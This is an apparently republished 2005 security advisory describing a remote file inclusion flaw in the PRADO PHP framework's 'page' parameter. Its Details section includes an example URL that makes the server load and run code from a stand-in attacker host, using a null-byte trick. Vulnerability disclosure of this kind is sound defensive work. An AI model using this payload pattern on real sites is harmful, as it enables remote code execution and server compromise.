[NEWS] PRADO 'page' Parameter Allows Code Execution

2005-01-09T00:00:00
ID SECURITYVULNS:DOC:7538
Type securityvulns
Reporter Securityvulns
Modified 2005-01-09T00:00:00

Description

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html


PRADO 'page' Parameter Allows Code Execution

SUMMARY

<http://www.xisc.com/> PRADO is "an event-driven and component-based Web programming framework for PHP 5. PRADO rec-onceptualizes Web application development in terms of components, events and properties instead of procedures, URLs and query parameters".

Due to the way PRADO handles user provided data, an attacker can cause the PRADO package to include external files that are located on other servers, and cause PRADRO to execute them.

DETAILS

Vulnerable Systems: * PRADO Framework version 1.5 and prior

One of PRADO framework's parameters, 'page', allows a remote attacker to specify an external file as the source to include. Once the file has been included it will be also executed if it contains PHP code.

Example: The following example uses the phonebook sample provided with the product: http://127.0.0.1/examples/phonebook.php?page=http://www.evilserver.com/evilcode.txt%00&filter=P

ADDITIONAL INFORMATION

The information has been provided by
<mailto:brereton_paul@btinternet.com> Paul Brereton.

========================================

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.